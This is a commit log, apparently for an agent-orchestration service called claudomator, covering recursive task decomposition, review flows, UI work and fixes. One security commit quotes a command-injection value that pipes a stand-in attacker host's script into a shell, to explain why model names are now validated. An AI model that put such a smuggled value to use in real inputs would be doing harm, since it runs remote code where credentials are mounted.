| Age | Commit message (Collapse) | Author |
|
SeedProjects) instead of a manual API call
|
|
CurrentAttempt resolution
|
|
builder-role node
|
|
|
|
|
|
node, add nested fix-attempt spawning and acceptance-criteria fallback
|
|
|
|
requiring external arbitrated review
|
|
nested-builder-completion-follows-arbitration (piece 4b-1)
|
|
approves it, not eagerly on READY
|
|
(lesson from piece 3's dispatch saga)
|
|
|
|
for fix attempts; also exclude .agent-home from git
|
|
CurrentAttempt resolution
|
|
Piece 3 of docs/superpowers/specs/2026-07-09-recursive-arbitrated-review-design.md.
Removes ensureFixAttempt's story.RootTaskID re-pointing write path,
migrating processStory/processRetro/ensureFixAttempt onto
task.CurrentAttempt resolution (piece 2b). RootTaskID becomes a true
immutable anchor after this lands.
|
|
to resolve through it
|
|
Piece 2b of docs/superpowers/specs/2026-07-09-recursive-arbitrated-review-design.md.
Builds the shared CurrentAttempt primitive (internal/task, behind a
minimal TaskLookup interface so both executor.Store and
scheduler.StoryStore can use it without duplication) and wires
maybeUnblockParent to resolve through it. Deliberately does not touch
ensureFixAttempt/story.RootTaskID (piece 3) or arbitrated-review
triggering (piece 4) -- scoped to the isolated primitive plus its
first real caller.
|
|
The nested-subtask-completion fix (ad00e18) necessarily added
BLOCKED -> COMPLETED to task.ValidTransition so
executor.Pool.maybeUnblockParent can complete a subtask whose own
children all finished. That widened acceptTask's gate (shared by
POST /api/tasks/{id}/accept and the chatbot MCP accept_task tool,
which validates only via task.ValidTransition) to also permit
accepting ANY BLOCKED task directly -- one still awaiting ask_user,
or with genuinely incomplete subtasks -- bypassing the completion
invariant this session's fix was built to protect. Caught by local
subagent review of that fix. Not live in production: the deployed
claudomator service is still on an earlier commit.
|
|
Pre-existing gofmt debt on all three files (confirmed dirty before
this session's nested-subtask-completion commit too, not a
regression) -- cleaned up while already touching these files.
|
|
(subtask-with-own-subtasks correctly blocks, cascades, and recovers)
|
|
Piece 2a of docs/superpowers/specs/2026-07-09-recursive-arbitrated-review-design.md,
discovered while grounding piece 2 in the real executor code: a subtask
that itself spawns subtasks is incorrectly marked COMPLETED the instant
its own agent turn ends, ignoring pending grandchildren. handleRunResult,
maybeUnblockParent, and RecoverStaleBlocked all special-case "is this
top-level" instead of "does this task have its own pending subtasks" --
a prerequisite bug fix the currentAttempt()/fix-loop generalization
(piece 2b) depends on.
|
|
Task 2 of the task-acceptance-criteria plan copied the plan
document's own misaligned struct-literal text verbatim without
running gofmt afterward, newly breaking gofmt compliance on
tools.go/agentmcp.go; also fixes pre-existing unrelated misalignment
in channel.go/channel_test.go while touching the same files.
|
|
spawn_subtask
|
|
|
|
Piece 1 of docs/superpowers/specs/2026-07-09-recursive-arbitrated-review-design.md's
implementation order: adds the field the earlier 2026-07-08 spec
incorrectly claimed already existed, and exposes it on spawn_subtask.
|
|
fix loop)
Replaces the story.RootTaskID re-pointing mechanism shipped in
2026-07-09-story-fix-and-reevaluate-loop.md with a uniform
currentAttempt() resolution that works identically at every depth of
a story's task tree, not just the root. Also corrects the 2026-07-08
spec's incorrect claim that Task.AcceptanceCriteria already exists.
|
|
is rejected
|
|
Closes the recursive-story-decomposition design spec's "fix-and-
re-evaluate loop has to become real" gap -- today NEEDS_FIX is a dead
end requiring manual human intervention. Design decision (re-point
story.RootTaskID at a fresh fix-attempt task, vs. spawning as a
dependent of a fixed root) made with user input before writing this
plan.
|
|
|
|
|
|
Scopes the "MCP surface: story-level tools, additive to what exists"
piece of the recursive-story-decomposition design spec on its own,
independent of the larger deferred per-node arbitrated-review
generalization and builder role system-prompt work.
|
|
of always routing to REVIEW_READY
|
|
|
|
Task 4's plan scope covered agentchannel.go/channel.go/channel_test.go
but missed this second AgentChannel test double, which broke `go test
./...` (compile failure) even though `go build ./...` was clean.
|
|
signals
|
|
|
|
|
|
order its own subtasks
|
|
reporting
Plan 1 of the recursive-story-decomposition design (see
docs/superpowers/specs/2026-07-08-recursive-story-decomposition-design.md).
Deliberately scoped to two small, independent, fully-groundable additions
-- SubtaskSpec.DependsOn and a structured report_verdict tool closing the
"arbitration never parses its own verdict" gap -- rather than attempting
the full recursive orchestrator rewrite in one pass. That rewrite becomes
its own plan(s) once story_orchestrator_test.go (1023 lines of existing
convention) has been read in full.
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01VTUSAEKfsPc6WGDq45yPHD
|
|
Retro from the tasks-board build (see memory
claudomator-sequential-orchestration-gap): claudomator has no native way to
drive a stated intent through review-gated implementation to arbitrary
depth -- that role was played by a human/chatbot controller hand-dispatching
and re-dispatching all session. Design converged through several rejected
drafts (a separate "chain mode" pipeline, a distinct Planner role) before
landing on the actual shape: one role, one recursive decompose-or-evaluate
mechanism, applied at every depth, with arbitrated multi-evaluator review
running at every node instead of once at a story's outer level.
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01VTUSAEKfsPc6WGDq45yPHD
|
|
Agent.Model is concatenated unescaped into a sh -c command string in
ContainerRunner.buildInnerCmd (--model flag, added in the prior commit).
With no validation, a value like "sonnet; curl evil.com | sh" would
execute arbitrary shell code inside the task's container -- which has
mounted Claude credentials and git push access. Flagged by automated
security review immediately after that commit landed.
Restrict to the character set real model names actually use
(alphanumeric, dot, underscore, hyphen), validated at the same boundary
PermissionMode already uses (task.Validate, called before a task is ever
persisted or dispatched).
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01VTUSAEKfsPc6WGDq45yPHD
|
|
This should have been committed alongside the design spec (f626155) before
task execution began. It wasn't -- every claudomator container that cloned
this repo during the Tasks board build never actually had this file, since
containers clone from the pushed remote, not the local working tree. Tasks
dispatched with only a "read this file" instruction had nothing to read and
silently improvised instead, which explains most of the review-cycle churn
during that build far better than "the implementer didn't follow
instructions" did. Committing now for the historical record and so the
gap can't repeat for this specific file.
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01VTUSAEKfsPc6WGDq45yPHD
|
|
buildInnerCmd never read t.Agent.Model when constructing the container's
claude -p invocation -- every Claude-type task silently ran on the CLI's
own default model regardless of what was requested via submit_task or the
role-based escalation ladder. Confirmed via execution logs: every task run
this session showed claude-sonnet-4-6 regardless of the model parameter
passed, which only went unnoticed because sonnet was requested every time.
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01VTUSAEKfsPc6WGDq45yPHD
|
|
CSS cascade fix: .task-log-tail.running-log combinator overrides
.task-log-tail's 90px max-height for RUNNING/BLOCKED cards, restoring
the intended 300px prominent log panel. Closes EventSource streams in
taskLogStreams when cards are removed from the board.
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
|
|
(task 8)
Delete renderQueuePanel, renderInterruptedPanel, renderReadyPanel, renderRunningView,
startRunningLogStream (old version), updateRunningElapsed, isRunningTabActive, and
the runningViewLogSources map — all superseded by renderTasksBoard (task 7) and
ensureTaskLogStream (task 6). Zero remaining callers; all 315 JS tests pass.
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
|
|
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
|
|
streaming (task 6)
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
|
|
Prevents renderTasksIntoContainer from tearing down and rebuilding a task
card on every poll tick just because its .task-log-tail has accumulated
streamed log lines. Exports cardContentSignature which walks the card
element tree and returns a stable fingerprint that ignores .task-log-tail
and .running-log subtrees. Also preserves the existing log-tail node
across a real content-change swap so live EventSource streams survive.
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
|
|
(task 4 reviewer findings)
- Move elapsed timer span from card header to after meta block; add
task-elapsed class alongside running-elapsed (Finding 1)
- Replace PENDING/QUEUED-only log-tail div with full if/else: placeholder
div.task-log-tail-placeholder for queue states, div.task-log-tail with
dataset.logTarget for all other states (Finding 2)
- Delete web/test/task-card-di.test.mjs; append correct tests to
web/test/tasks-board.test.mjs covering log-tail and elapsed timer
contracts (Finding 3)
- Thread doc parameter through createEditForm, renderSubtaskRollup, and
renderQuestionFooter so createTaskCard is fully testable without a
browser DOM
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
|
|
elapsed timer (task 4)
- Export createTaskCard and add `doc = document` parameter; replace every
document.createElement call inside the function with doc.createElement,
enabling unit testing without a real DOM.
- RUNNING tasks: append a span.running-elapsed (data-started-at, elapsed
text) to the card header, consistent with renderRunningView so
updateRunningElapsed() picks it up automatically.
- PENDING/QUEUED tasks: append div.task-log-tail > p.task-log-placeholder
("Waiting to start…") — the queue column has no execution yet, so a
placeholder is shown instead of an empty log box.
- New web/test/task-card-di.test.mjs covers DI doc plumbing, placeholder
presence/absence, and elapsed-timer presence/absence across states.
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
|